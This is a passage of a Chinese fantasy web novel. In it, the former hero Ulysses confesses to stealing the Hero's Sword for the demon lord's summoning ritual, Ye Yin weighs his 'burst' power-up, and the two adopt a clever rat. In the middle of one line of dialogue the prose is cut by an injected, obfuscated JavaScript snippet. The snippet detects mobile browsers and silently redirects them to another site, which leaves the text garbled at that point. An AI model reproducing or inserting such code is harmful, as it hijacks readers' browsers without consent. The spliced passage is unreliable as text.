尤利西斯避开了叶隐的凝视,没有正面回答这个问题,道:“在我还是勇者的时候,这几天是我最忙碌的时候。” 他望着高高的天花板,目光悠远地回忆道:“血月日来临前,我、还有我的队友们,会在法师和牧师们的帮助下,花大约一个星期的时间,分头走访边境的各大关口,确保防备力量充足,并及时向守备力量较弱的地区拨派军队。” “勇者和他的队友啊……”叶隐捧着热茶啜了一口,发出满足的叹息,随后笑了笑,“你之前都没有提过,我还以为你一直都是孤身一人呢。” “为了让勇者在任何时候都能充分地发挥职责,一个面面俱到的团队是必要的。”尤利西斯说道,“历代勇者都是后天被选中的,并没有机会和足够的时间去学习,在必修课程以外的领域有疏漏是常事,这种时候,他的队友们就肩负了为他查缺补漏的职责。 “另外,人的精力是有限的,加之情况越复杂,越容易分身乏术。这种时候,可以完全信任的队友,就相当于勇者的分身,既能在第一时间共享情报,也能迅速行动,替他处理鞭长不及之事。” 叶隐思索了会儿,“这样听来,勇者的队伍并不是普通的冒险者小队啊,更像是……一支直属于人类高层的特别行动队?” 尤利西斯评价道:“很贴切的说法。” “你和你队友们的关系,应该很不错吧?”叶隐问。 尤利西斯没有提到他们的名字,但在他谈及那些人的时候,眼里的怀念、甚至雀跃,是藏不住的。 尤利西斯曾提到过,在被选中成为勇者前,自己是个农民。叶隐很难想象,一个农村出身的孩子,要如何才能接受从人间到天堂的巨大落差,在巨大的诱惑面前维持住心智的坚定? ——但经历过十数年寒窗苦读的叶隐可以想象的是,对于一个骤然来到陌生环境中的孩子,一群乐于接纳他的,与他长久地学习、共事的同龄人,他们所造成的积极的影响,以及他们本人,对这个孩子的人生具有怎样的意义。 “会想念他们吗?”叶隐明知故问。 尤利西斯抿了口茶,垂头看着漂浮着茶梗的水面,回道:“会。” 不等叶隐说话,他便接着说道:“只是,在我失去勇者身份的时候,我们就已经不是一路人了。” 他自言自语道:“不是勇者的我,只是个会使两手剑的莽夫而已,而他们,即使失去‘勇者的队友’这个身份,也依然是宫廷法师、高阶牧师、大发明家……和我有本质上的不同。” 叶隐张了张嘴,竟无言以对。 ……想来也是,勇者的诞生已经足够不受控了,偏偏作为讨伐魔王的关键角色,他还是不可或缺的,这绝不是统治阶层希望看到的事。更进一步想,所谓的“勇者小队”,其内部成员的名额恐怕早早就被法师协会、教会之类的组织,预定好、瓜分完了,这是完全有可能的。 也许那些人对待尤利西斯是真诚的,但同时,他们也是身后势力的代表,身负平衡小队中的决策,同时为自己的势力牟利的责任,他们的所作所为不全然出于自身的意愿,反而更像来自某个集体意识的缩影。 如果事实真如叶隐想象的那样,即使迟钝如尤利西斯,也不可能察觉不到,但唯独这件事,他没有任何发言的权力,因为这已经是高层最大的让步了,他又能怎么办呢? 叶隐的神情之凝重实在太过明显,尤利西斯无奈地吁了口气,不得不出声打断叶隐的胡思乱想:“别多想,他们都是很好的人。” 叶隐反问道:“那你为什么和他们断了联络呢?仅仅是因为身处魔王城不方便?” “责任在我。”尤利西斯道,“当时,虽然我被剥夺了勇者头衔,但皇帝还是特许我留在皇宫中,甚至打算授予我军衔,以便我能在合适的岗位上继续发光发热,但被我拒绝了。” “好像听你说过这件事……你再说一遍,为什么拒绝?” 尤利西斯接道:“他们剥夺我勇者头衔的理由是,魔王迟迟没有出世,我这个勇者的选拔本就过早,再待在这个位置上也不过是浪费资源。” 叶隐沉吟着,“……想起来了,那段时间,正好是希恩东躲西藏的时间吧?” “是啊。”尤利西斯道,“不过,有件事,我应该还没跟你说过。” “什么?” “我师从于前勇者的队友,在他的熏陶下长大。”尤利西斯回忆着往事,说道,“当年,他的队伍作为 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“随着我的实力增长,我愈发能体会到,前勇者他们到底花了多少努力才能达到那种地步,可即使是那样的六个强者,却也只能堪堪做到与魔王同归于尽的程度,这让我一度极其不自信,甚至开始质疑自己能否完成勇者的使命。” “……我明白了。”叶隐道,“所以你才会恐惧于魔王的诞生,想要不顾一切地将威胁掐灭在摇篮里,最后却……” 尤利西斯点了点头,又抿了口茶,润了润嗓子,接道:“我不相信魔王真的会如此简单地消失,也不觉得轻易放弃了勇者的帝国,在经历数年乃至数十年的荒废过后,在真正面对魔王之时,还能有一战之力……所以,我做了个鲁莽的决定,我拒绝了留在皇宫里,选择孤身一人周游帝国、寻找魔王。” 这是个“鲁莽”一词都不足以形容的愚蠢决定,但现在的尤利西斯想必早就意识到了,于是叶隐没有多说什么,只是眼神中带上了些许怜悯。 “你的队友们,都没有跟着你一起,是吗?” “是啊,他们都有自己的事要做。”尤利西斯喃喃道,“他们没有理由继续留在我身边,更没有必要为了我而反抗他们家族的意愿,这一切我都能理解,我也不怨任何人。” “真的连朋友都做不成了吗?” “本来是可以的…大概。” 叶隐察觉到了他话语中潜台词,“后来又发生了什么?” 尤利西斯仰头将杯中的茶水一饮而尽,低声道:“我做了一件背叛他们……不、不仅仅是他们,更是背叛了全人类的事。” 叶隐:“……” 虽然他还不知道尤利西斯具体做了什么,但以已知的情报来看,这家伙做的每一个重大的决定,无不弄巧成拙,在某种程度上也算是幸运E了。 “你打算一次性把这件事说完吗?”叶隐关心道,“感觉说出来太痛苦的话,也可以到此为止。” 尤利西斯瞥了他一眼,“若说此事与你有关,你也无所谓吗?” 叶隐斜眼看着这厮,“啧”了一声,语气一变:“别勾起我的好奇心啊,坏蛋!” 尤利西斯微不可察地勾了勾嘴角,旋即像什么都没发生过似地道:“惨败在觉醒的希恩手中之后,他命令我去做一件事……” 叶隐竖起耳朵,“什么事?” “……潜入皇宫宝库,将勇者之剑窃出,并带到魔王城,交予他。” “嚯!” 叶隐的神色几度变幻,感到槽多无口,“他…真敢把这种事交给你一个失势的前勇者做啊……你也是真的敢去做啊!!” 即使不用尤利西斯特地解释,叶隐也能想到,在一个将“勇者”视为“神之子”的国度,作为勇者身份象征的“勇者之剑”,对这个国家而言有着怎样重大的意义。做出了这般事情的尤利西斯,说自己“背叛了全人类”,完全不算一种自嘲,而是事实。 由被剥夺了勇者头衔的前勇者,潜入他曾效忠的皇宫,盗取地位如同传国玉玺的勇者之剑,再交给这把剑本该杀死的魔王……啧啧,何等的地狱! 话虽如此,叶隐对这个世界的人类国度可没有什么归属感,只有吃了一枚大瓜的饱腹感。为了所谓的道义批判尤利西斯这位大爹,脑子才是真的坏掉了,他才不会那么做咧。 他津津有味地发问道:“你真的做了吧?那勇者之剑现在其实就在魔王城里?希恩为什么要它?莫不是为了断绝日后的勇者战胜魔王的希望?不像是他能做出来的事啊……” “勇者之剑已经不存在了。”尤利西斯淡淡说道,“据希恩所说,那把剑是开启异界之门的必要材料,而从异界召唤合适的魔王候选者,也就是你,则是他计划不可或缺的一环,所以我才会帮他……只是我也没有想到,这把剑不只是仪式的一部分,更是仪式的祭品,在那个时空魔法完成后,它已经彻底不存在于这个世界上了。” “……”叶隐再度陷入沉默。 “好吧,我能理解你为什么不和别人联络了。”他深深叹了口气,“如果我的老同学偷了事关全人类生死存亡的镇国之宝,还把它拿去熔了,再也找不回来了,我也会想杀人。” “这事我做得很隐秘,他们都不知情。” “这是知不知情的问题么大哥……” “我知道的,你的意思。”尤利西斯的神情毫无动摇,就像往常那样,“只是,开弓没有回头箭,事已至此,已经没有任何可后悔的余地了,无论从个人的情理上,还是从客观事实上……勇者之剑是讨伐魔王的不可或缺之物,即使勇者还能再选出来,没了那把剑,人类也不会有任何胜算,所以,我们的计划只准成功,不准失败。” 哈……叶隐有些不知道该说什么才好了。 虽然把路走到像现在这样窄的罪魁祸首,就是尤利西斯无疑,但以叶隐的立场,还真不好说他什么。再说,以人类帝国对勇者的教育方式,即使不是尤利西斯,也会有别人来做这种事的,宏观上来说,这恐怕算不得一个偶然。 既然类似的事迟早都会发生,那么要做的事就只有一件了——让希恩的计划成功,到时候,一切问题都会迎刃而解。而这,也的确是尤利西斯一直以来默默做着的事,所以,他看上去才会与平时别无二致,不像是发下了什么宏愿的样子吧。 “很嚣张啊你……” 叶隐猛地灌下最后一口茶,擦了擦嘴角,随后忽地大笑两声,话锋一转道:“那…我也只有舍命陪君子了!” 17. 鼠鼠我呀 与尤利西斯大摆龙门阵过后,时至一日终了,虽然才刚刚从两天的昏迷中苏醒过来,叶隐浑身上下依然有股挥之不去的疲惫感,便早早躺下了。 但他没有睡着,而是躺在被窝里,趁着腾出空闲来,不断戳着意识海中的系统:“赶紧告诉我,那‘爆种’到底是什么情况!” 他记得自己在拿到临时体验卡的时候,系统确有弹出觉醒度增加的提示,但直到刚才得闲,他才意识到,区区一分半钟的爆种,竟给他加了7点之多的觉醒度! 【觉醒度:27/100】 【时髦值:16/100】 眼看着死亡倒计时一路狂奔到逼近三分之一大关,叶隐已经麻得无话可说了。 不过,系统那边也不是全然没有好消息,譬如这次突然间启动的“爆种”功能,哪怕算上那颇高的副作用,也不失为一记撒手锏。 根据当时的提示来看,爆种是在宿主遇到生命危险时才会激活的功能,且时长与时髦值成正比——这意义不明的数值终于有点用了! 16点时髦值就能爆种1分36秒,那100点时髦值岂不是能爆种10分钟? 整整十分钟的世界最强体验卡啊!想想就爽得很……啊呸,不能这么想! 叶隐狠心挥了自己一巴掌,用实际行动打消了这个恐怖的想法。 魔王的力量确实强大,再配合此界近乎无所不能的魔法体系,可以做到真正意义上的为所欲为。即使是在魔法一道上还是个初学者的叶隐,在得到魔王那股仿佛无穷无尽的魔力后,也能大力出奇迹,根据本能的想象与既有的知识就释放出许多强力魔法,比如将希冯逼退的分解魔法。 实际上,在暴揍希冯的同时,叶隐还未雨绸缪,悄悄用了几次探测魔法,将方圆十里的地形地势都纳入了掌控。不过,仅仅这个距离,似乎还没有触及到魔王城外围领地的边界,因为范围内的魔物太少,少到即使是深闺中的叶隐也能感觉到不对劲的程度。 如果再给叶隐一分钟,他可以将感知范围收束成线,以求最远距离上的探知,说不定能够触及到人类帝国的边境线,那样就能看看这个世界的普通人过着怎样的日子了……可惜。 暂且不论魔王之力的好处,爆种期间,叶隐其实并不好受。那时的他有自己的意识,却很难控制自己的思想,好似身体里有另一个人格在与他争取身体的控制权,而且连他自己的意识也受其影响——他一度认为就此成为魔王也没什么不好,而他的觉醒度,大概就是在那期间上升的。 显然,强烈的自我意识,也是能够影响觉醒度的关键因素,就是不知道这事反过来成不成立?如果他发自内心地强烈拒绝当魔王,有没有可能把觉醒度降下来? 无需系统回答,叶隐便自嘲地笑了笑,他这半个月来抗拒成为魔王的念头还不够强烈吗?可觉醒度降低那种事从未发生,还是不要有那种期待比较好。 ……总之,得亏这次爆种只维持了一分半钟,要是真的整个十分钟,觉醒度还不知道要涨多少,后果就是叶隐的意识很可能会被彻底扭曲,届时就是魔王体验卡喜提转正,再也无法回到从前了。 ——说到底,那终究是魔王之血的力量,而不是他自己的,就像一份伪装成普通贷款的高利贷,如果他真的傻傻踩了进去,那才是把自己往火坑里送。 这些念头在叶隐脑中的流转只是转眼间的事,他没等多久,居然真的等到了系统的解释: 【“爆种”为保障玩家生命安全的功能,在玩家遭遇生命危险时解锁,解锁后可在冷却期外的任意时刻激活。】 【时髦值越高,单次爆种持续时间越长。时髦值达到上限100时,持续时间将达到最长。】 【激活爆种状态没有代价,不会扣除时髦值。】 【冷却期剩余:28日7小时41分55秒。】 叶隐:“……” 没有代价?确实,对于一个看上去就像是为了逼他成为魔王而存在的系统,加速魔王化能算是代价吗?这不是奖励吗? 还好,这番解释不全是废话。从现在的冷却期倒着推算,把他昏迷的时间也算进来的话,爆种的冷却期约莫是30天,有整无零。叶隐推测,冷却时长应该是固定的,即是说,不会像持续时间那样随着时髦值增加而延长,不管单次爆种持续多久,冷却时间都是一个月。 一个月最多能用一次,叶隐觉得已经绰绰有余了。毕竟,即使冷却期再短,也只是使用起来更加灵活而已,每次冷却期结束就用的话,他有几条命都不够拿去填觉醒度这个天坑的,找死也得挑个黄道吉日吧! 叶隐大致想通了,但忽然察觉到险些被他疏漏掉的某一点,追问道:“冷却期内就真的完全无法激活吗?那如果在此期间我又遭遇了生命危险,会怎么样?” 【玩家的生命是至高无上的。】 那你特娘的设冷却期干什么?!叶隐腹诽。 【长时间、多次连续激活爆种状态,对玩家负担极大,可能导致死亡。】 叶隐沉默了,系统似乎没有说谎的必要,但他现在可没感觉有多不舒服,莫非是他没察觉到自己身体的某些微小变化吗? 【若玩家陷入爆种状态也无法解决的绝境,系统将无视条件为玩家强制觉醒。】 叶隐一脸不出所料地揉了揉太阳穴,“果然。” 看来,爆种什么的,还是作为保命手段留着比较好,万一需要的时候还在冷却,那就直接玩完了。 哪怕拿着魔王体验卡的他足以大杀四方,却不可能在几分钟内就把整个世界的威胁杀尽,反而会暴露魔王已经现世的消息,并且把身为保护者的尤利西斯彻底推到敌对方,到那时,他唯一的活路就是主动觉醒——而这是一条无法回头的路。 “哎,还是先当这功能不存在吧。”叶隐叹了口气,逐渐释然,随即打了个大大的哈欠。他已经困得不行了。 “话说…我有什么事忘记了吗……?” 迷迷糊糊中,叶隐总感觉自己有什么重要的事忘了问尤利西斯。 ……啊,忘记问他,时空魔法的祭品为什么非得是勇者之剑不可了。 然而,在梦里抓住了线索的下一刻,叶隐断片似地进入了深度睡眠,把这事儿忘了个一干二净。 …… 次日清晨,叶隐神清气爽地起床,将睡前跟系统掰扯的烂摊子一股脑抛到了后头。 他刚吃完尤利西斯送来的早饭没多久,一个意料之外的人、啊不,魔,便主动找上门来——是卡拉瓦多斯。 “进来。” 卡拉瓦多斯敲门时,叶隐正蹲在阳台边,认真修剪着叶子微微发黄的盆栽,将那些枯枝败叶裁掉,再放到窗帘后面去晒太阳——昨天是一整天的血月,暗无天日,但今天的太阳还是照常升起了, 不得不说,太阳如常升起,真是给人以莫大的心理安慰,身为见光死宅男的叶隐从未如此感激太阳的存在——和脸盆子大的血月相比,太阳光还是过于温暖人心了,哪怕只是魔物界这种被瘴气层层削弱过的阳光,也让人如沐春风。 赞美太阳! 话说回盆栽,和外头花园里那些群魔乱舞的“植物”比起来,这些小花小草真是正常到感人,光是看着它们绿绿的小叶子就能让人心情愉快,所以叶隐时常给它们浇水、修剪——虽然他此前根本没怎么做过类似的事情,但盆栽们还算给面子,没有他一下刀就争先恐后地去死,约莫还能活挺久的。 将最后一只盆栽放上阳台,叶隐满意地擦了擦一滴汗都没流的额头,转过身去:“卡拉瓦多斯?有什么事……” 看到对方手中提着的铁笼,以及笼中那只灰扑扑的小鼠的瞬间,叶隐卡壳了。 “魔王城也会有鼠患?”叶隐直觉得匪夷所思,“再说,有老鼠的话你直接处理掉就好了,为什么要拿来找我?” 他回忆了一番:没有灵魂的小动物并不在沟通魔法的对应范畴内,所以他几次心灵感应都没有察觉到城中还有其他动物,这并不出奇;即使是他爆种期间使用的探测魔法,也没有足够时间让他精确到各种细节,这巴掌大的老鼠就这么被他略过去了,也很正常……吧? “吱!吱吱吱!”灰鼠似乎被叶隐的话吓了一哆嗦,甩着大尾巴焦虑地在笼子里跑圈,但没人搭理它。 “理论上,不会有动物敢于踏足城内。”卡拉瓦多斯回道,“此地不仅是魔王的住所,也曾有无数强大的魔物驻扎,其残留的气息微弱,但经久不散,对寻常生命而言无异于一片无形屏障,本能会驱使它们远离。” “那它是哪来的?” 说着,叶隐示意卡拉瓦多斯把笼子放在地上,蹲在笼前,终于正眼看了这只老鼠一眼,评价道:“模样挺可爱的嘛,圆头大耳……但是真脏啊。” “嘶!”灰鼠龇出四颗大门牙,挥舞两只前爪拼命刨着铁笼。 卡拉瓦多斯反问道:“您可还记得,三天前您重启了城中结界一事?” “我正想着这件事呢。”叶隐摸了摸下巴,“那之后,城内外理应在一定程度上物理隔绝了才是,这老鼠绝无可能穿过结界……不过,若它是在那之前就进到城里,就另当别论了。” 卡拉瓦多斯的话基本上证明了叶隐的推论:“吾是在厨房发现它的,此前数天内,吾曾两次发现部分食材上有它的齿痕,吾猜测其潜伏的时间至少在三天以上,多半为趁希冯大人搞破坏的时候沿废墟钻入城中的。” “什么?!” 叶隐拍案而起,态度一百八十度转弯,怒道:“竟敢和老子抢东西吃,斩首!!” 灰鼠正竖着耳朵心虚,被叶隐这一声吼得一抖,漏出“叽”的一声,直接颤抖着撅了过去,四脚朝天,状如筛糠。 “哟呵,还搁这装上了?”叶隐冷笑,抱起手臂,摆出一副嚣张的样子,“知道什么叫魔王城不?知道谁是魔王不?这城里的一切都是我的东西!擅动者死!” 并非所有魔法都不能对没有灵魂的生命起效,譬如他根据昨晚梦里突如其来的灵感所施展出的“情绪感知魔法”,对人类、魔物、小动物,都是有效的,甚至能隐约感觉到植物的情绪——这一点,他刚才收拾盆栽的时候已经试验过了。 从被老鼠吱第一声的时候,叶隐就已经展开了魔法,在他的感知中,这只老鼠的智商远比它的外形要突出,这不仅体现在它对旁人的每一句话都有反应,而且,从见面到现在,它就没有一个动作是发自真心的,全都是在演戏,看上去慌得要死了,实际上内心毫无波动! 识破这只鼠的真面目后,叶隐一点儿也不担心把它吓死,站在原地思考起来:这小玩意天天在厨房偷吃,身为厨子的尤利西斯怎么会没有发现呢? 魔法虽强,但不经过法师施展就约等于不存在,至少现在的叶隐没法常驻联络魔法和情绪感知魔法,战士则不一样,那身经百战锻炼出的直觉和敏锐感官可是每分每秒都在线,以至于要偷袭一个熟睡中的战士都是很困难的事,别说在战士的眼皮子底下犯贱了……什么,尤利西斯从来不睡觉,睡觉也不盖被子?那没事了。 总而言之,这只老鼠天天在厨房蹭吃的,叶隐不信尤利西斯会不知道它的存在,但这反而更让叶隐困惑。 尤利西斯是农民出身,说不定就是被老鼠啃着长大的,不可能不清楚老鼠的危害,要知道,即使是在叶隐小时候、那个科技和经济都更发达的年代,还经常有十几只老鼠在他头顶的阁楼里头跳胡旋舞呢!哪怕尤利西斯不愿轻易杀生,把它驱逐到城外也好啊? 叶隐眯了眯眼,心里隐隐有了想法。 他重新蹲下身去,盯着那只老鼠,沉声道:“你认不认识尤利西斯?一个高个子、扎马尾的男人,厨艺很好。” “吱、吱……”灰鼠灵活地翻过身来,一阵装傻,既不点头,也不摇头,好像突然就听不懂别人说话了似的。 “点头,或者摇头。” 叶隐伸出一根手指,指尖的火苗转眼间凝成一根头发丝似的细线,仿佛有生命一般从铁笼的缝隙里钻了进去,把栏杆烧得发红,“不然,就把你烤了。” “吱!吱吱!” 灰鼠终于绷不住了,恐怖的热量把它吓得浑身炸毛,吱呀乱叫,它逐渐被逼到了角落里,瑟瑟发抖,最后堪堪点了点头。 嗯……没有撒谎,当然,也没有撒谎的必要。 等把情绪感知魔法再发展发展,叶隐觉得自己都能去当审讯专家了。 他满意地收回火焰,道:“别急,我这就叫他过来,问问你俩之间到底是啥情况。” “吱……”灰鼠无力地趴在笼子的地板上,眼角挤出一滴屈辱的眼泪。 “那么,吾先告退了。” 卡拉瓦多斯行礼离开,叶隐看了它一眼,没有阻拦,只是心里嘀咕着:它是不是早就发现这老鼠特别,才会特地送来? 身为魔王城的管家,逮老鼠本是卡拉瓦多斯的分内之事,但逮到了还特地送给叶隐过目,就不是那么简单的事。 它心里在打些什么算盘呢? …… 接到叶隐的消息后不多时,尤利西斯穿着一身汗湿的训练服就来了,踏过门槛时,身上甚至还冒着肉眼可见的蒸汽。 “厨房里有老鼠,你怎么不赶出去?”叶隐指着地上的笼子,直言质问道,“而且,你放任它啃我们的食材,就一点也不担心得病吗?” “……”尤利西斯眼神飘忽了一瞬,像是在家里偷偷养宠物,结果被家长逮到的孩子——叶隐不会认错这个眼神——因为他和弟弟叶澜也干过类似的事情。 青年酝酿了两秒钟,正色解释道:“我没有放任,只是给了它一次自行离开的机会而已,但它拒不离开,才把食物祸害了第二次,而那之后,我就把它捉住关起来了。” “关起来了?”叶隐一愣。卡拉瓦多斯拎来的这只装鼠的笼子,莫不是原装的? 而且,事实要是如尤利西斯所说,老鼠只干过两次坏事的话,岂不是这两次都“刚好”被卡拉瓦多斯看见了?……它该不会其实是来告尤利西斯的状的吧? “我把它关在另外的房间里,没有再让它接触到我们的食物过。”尤利西斯道,“城里没有其他老鼠了,不用担心。” 叶隐斜睨着他:“说得好听,其实就是把它养起来了吧?……养只老鼠,你图啥啊?” 尤利西斯无言以对,沉默了好一会儿,支支吾吾道:“因为……这里基本不可能有动物…很稀有……?” “这是问句吧!给我一个回复啊喂!”叶隐叫道。 他抱起手臂,向尤利西斯投去警惕的眼神,警告道:“野生老鼠太脏了,说不准就携带着什么病毒,况且你偷偷养着它,却也没想给它打理得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173422|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净些,它留在城里就是一个污染源!它很聪明,所以我不会杀它,但你要是说服不了我,那就必须把它赶出去!” 尤利西斯的声音显得有些底气不足:“它不是我的宠物……” “那你养它做什么用?难道它除了聪明还有什么我不知道的特异功能?” “没有那种东西…大概。”尤利西斯摇了摇头。 他神色略显茫然,看得出竭力回想了一番自己养鼠的动机,却说不出个所以然,好似只是想那么做,所以就做了而已。 最后,他也只是道:“没什么特别的理由。” 那就是单纯的喜欢咯?叶隐想道。 “你以前不是农民吗?农民不该都很讨厌老鼠的吗?” 尤利西斯一怔,面露恍惚。他似乎很久没有回想过幼时的事了,以至于叶隐不提,他甚至想不起来这茬,但仔细一回忆,往事却又相当清晰。 他边回想,边慢吞吞道:“我想起来了……小时候,每天夜里都有老鼠从我脸上爬过去……我跟妈妈说,她只是让我蜷着睡,把脸保护住就行。” 妈妈……? 这一声无意的轻唤,说者无心,听者有意,直接让叶隐陷入了怔愣。 从小被父亲孤身养大的叶隐,时常会忘记世上所有人其实都是妈妈生的,包括他自己——当然也包括“神之子”尤利西斯。 通常来说,在与某个人熟悉到可以互揭老底的程度时,这种错位带来的幻觉就会破灭,让他意识到自己和对方没有什么本质上的不同,继而与对方成为真正的朋友,但尤利西斯……无论从身高、外貌、性格、力量、经历……无论从什么角度去看待他,他都绝对不是一个普通的、平凡的人。 尤利西斯在叶隐眼中是不一样的,哪怕他有时会搞一些让叶隐偶像幻灭的骚操作,但唯有“他是特殊的”这一点,不管叶隐与他相处多久,恐怕都不会改变。 但……的确,尤利西斯也是被母亲十月怀胎生下的。 他出生时还不是银发金瞳,还没有学到任何知识和礼仪,不会厨艺,不会打架,就是一个……除了能得到妈妈的叮嘱以外,和叶隐没有什么不同的人。 “……我照做了,但还是睡不好。”尤利西斯的讲述还在继续,“我天生感官敏锐,实在难以忽视老鼠的动静,又不敢起身吵醒家人,所以我就数着老鼠踩我脸的次数入睡……到后来,我甚至不睁开眼也能感觉到,正在踩我的老鼠是哪一只,是常住在家里的,还是从隔壁跑来窜门的。” 叶隐:“……不用说的那么详细,我不是很想知道被老鼠踩脸的感觉。” 尤利西斯笑了——这可能是至今为止他最毫无防备的一个笑容,不明显,却很自然。 “白天我和家人一起下地干活,太阳落山了就早早睡觉,但我精力旺盛,干一天活也不累,家人入睡的时候,我还清醒得很。” 尤利西斯的讲述越来越快、越来越连贯,眼中也越来越有神,“家人告诉过我,说老鼠祸害粮食,没一个好东西,若不是我们杀不灭它们,断不可能与它们如此‘和谐共处’。老鼠祸害粮食是真的,但我却不觉得它们一无是处,因为在我一次次与它们接触过后,我逐渐摸清了它们的作息、行动逻辑、乃至家庭关系…… “老鼠对人类坏的意义更加明显,大部分人看到的也都是这一部分,但我慢慢意识到,老鼠本身远远不止如此。它们也像人类一样,有父亲和母亲,有生存和学习,有食物和家……从那时开始,我开始觉得,它们如此努力,理应有活在世界上的资格。” 叶隐的神情略显复杂,“……我一直以为你是人类至上主义者。” “人类当然还是最重要的,这一点我不会弄错。”尤利西斯从回忆中脱离出来,恢复了平静,“老鼠还算是处境比较好的动物,毕竟它们可以住在乡村、城镇、甚至皇宫里……不过,诸如鹿、虎之类的,它们的栖息地本就因魔物的威胁而大幅缩水,必须依靠人类的保护才能存续了,如果人类再将它们抛弃,它们就会不可逆地从这个世界上消失。” 他总结道:“一个只有人类的世界,绝不是最有利于人类的,所以,在保护人类的使命之外,如果还有余力,我也会去保护动物。” 尤利西斯的自白还挺慷慨的,然而读过十几年书的叶隐对于初中生物课本上就有的知识毫无波动——但他是不会出言嘲讽的,因为这是尤利西斯自己从生活中总结来的体会,与直接学习课本知识有本质上的区别,他还不至于在这种地方发挥优越感。 不过嘛,一码归一码。 “说了这么多,最后不是自相矛盾了吗?”叶隐一针见血道,“人类无法杀尽老鼠,反而是不得不与它们共存,这是你自己说的。也许其他动物有保护的必要,但老鼠什么的,完全没有吧?” 尤利西斯张了张嘴,竟无法反驳,面上不可抑制地露出挫败之色,低声道:“那…还是要赶走它吗?” 他的表情让叶隐很想笑,不过现在讨论的问题很严肃,所以叶隐还是按捺住了笑意,接着道:“我不否认你这些话语是真诚的,但就事论事,你收养这只老鼠,只是单纯喜欢它吧?” 尤利西斯思考了一番,艰难地挤出两个字:“也许……?” 让他这样清心寡欲的人直接承认自己“喜欢”某样事物,大概比杀了他还难……叶隐暗道。 “你是不是从来没有养过宠物?”叶隐又问。 “没有。”这次回答得很快。 “那你知道别人是怎么养宠物的吗?” “知道一点……我的队友养过信鸽。” “跨纲了啊,勉勉强强吧。” “什么钢…你到底想说什么?” “我真正想说的是……”叶隐顿了顿,话锋一转:“既然你知道宠物这个概念,也知道如何养宠物,那你想养它就养嘛!我只是担心你不想对它负责而已。” 曾经他和叶澜偷偷带怀孕的流浪猫回家时,也像今日的尤利西斯一样,极为恐惧父亲的态度。 ……但结果是,父亲并不介意家里多一只猫,只是告诉了兄弟俩家里无法养一窝猫的客观事实,让他们接受了猫仔必须另寻下家的代价。 猫咪生仔那天,兄弟俩紧张得手心冒汗,不停往厕所跑,最后还是迟来归家的父亲守在血肉模糊的产房旁边,帮猫咪接了生,给猫仔找领养,给猫妈做月子餐…… 早在叶隐在外地上大学期间,那只猫便已经寿终了,当时他一度陷入悲伤之中,不过几年后再回过来看,悲伤只是它带给他的无数礼物中作为结尾的那一个而已。 “……可以吗?”尤利西斯怔住了,脸上有喜色一闪而过,很快被他压下,“可你不是讨厌老鼠么?” “老鼠本身还行吧,其实还挺可爱的……但这是只野生老鼠啊,身上的病菌绝对多得难以计数!” 叶隐威胁道:“你最好能掏出个净化术之类的东西,不然我只能让它去地下和希冯作伴了!你想喂也必须跑到地下去喂!” 尤利西斯为难地皱起眉头,“我不是职业神官,不会那种……” 迎着叶隐危险的眼神,他又改了口:“我尽量试试……” “吱……” 铁笼里的灰鼠不知何时换成了葛优瘫的姿势,一脸生无可恋之色。 碰上这对婆婆妈妈的小情侣,真是样衰了呀! 18. 饭桶还是间谍? 作为爆种后观察期的一天时间过去,叶隐浑身上下神清气爽,毫无异常,当即便在晚饭时向尤利西斯请示明天继续练习魔法,却惨遭拒绝。 “你在魔法一道上的造诣已经超过我了,我没什么可教你的。”尤利西斯坦然道,“能自创‘情绪感知魔法’,你只要再补充些基础知识,就足以拿下大魔法师证书了,这可是全帝国正式法师的前五分之一。” 叶隐一听到有证可考,当即来了兴致,倾身试探道:“那证书怎么考,你知道吗?” “我自己没考,只听队伍里的魔法师提到过。”尤利西斯沉吟道,“……据他所说,大魔法师考试,主要分为笔试、面试、实战三个门类,彼此独立。通过笔试和面试,就能拿到理论资格证书,可以在中低级魔法学院执教;通过实战和面试,就能拿到冒险资格证书,能以高级冒险者身份加入小队,并且有资格申请加入帝国的法师部队。” 叶隐听得津津有味,举手问:“如果三门全通过呢?” “三门全通过,也只是同时拿到上述两本证书而已。想要成为货真价实的‘大魔法师’,还要主动申请进行一次额外的审核。”尤利西斯回道,“评委以皇帝、法师协会副会长、枢机主教三人为首,总计至少五人组成。这般阵容,自然和先前三门考试不一样,不是随时都可以进行,而是每年只有一次机会,只有在极个别特殊的时候,比如战争期间,才可能一年内多次进行。” 叶隐眨了眨眼,“这么豪华的阵容……应该是最高级别的法师考核了吧?” “差不多。就算有更高级别的考核,也是内部考核了,外人无从知晓具体信息。” “诶——” 见叶隐双手托着脸,像在发呆,尤利西斯忍不住问:“你很向往吗?” “当然了!谁不想成为精英呢?”叶隐反问道,“通过考核的话,不仅意味着自己拥有了最高级别的力量,而且意味着自己在包括力量、品行在内的多个方面都得到了高层的认可,获得了参与高级决策的门票。人生抱负和实际贡献两开花,这就是我心目中‘成功人士’的样板了!” 尤利西斯微微沉默后道:“你好像很习惯于给人打工。” 叶隐挠了挠头,讪笑道:“我可不是天生牛马!也要看对象是谁嘛。” 他掰着手指头算了算,道:“虽然目前为止,我对人类帝国也不是完全满意,但它能在群魔环伺中统一人类,并保持帝国地位不再分裂,一定是有相当的可取之处的,效忠于帝国已经是最好走的路了……”他忽然双肩一沉,没精打采道:“当然,前提是我是人类。” 然而,这个向来无需多虑的前提,从一开始就不成立了——哈哈!焯! “吱~” 闻这一声,叶隐斜眼看向放在旁边椅子上的新铁笼。笼中鼠正双爪扒着栅栏,一副铁窗泪的可怜模样,目光在桌上的残羹剩饭与叶隐的脸之间游移,漆黑的眼珠子中闪烁着欲望的光芒。 新笼子比先前的笼子精致小巧不少,尤利西斯来送早饭时,便是双手端着餐盘、将这笼子挂在腰间来的,放在椅子上倒也不怕弄脏,不然叶隐铁定不会答应把它搁在饭桌边。 至于笼中的鼠子本鼠,经过反复清洗,以及各类神术多次轮番上阵的净涤后,竟褪掉全身脏污,露出了一身米黄色的毛发,看上去光洁喜人。 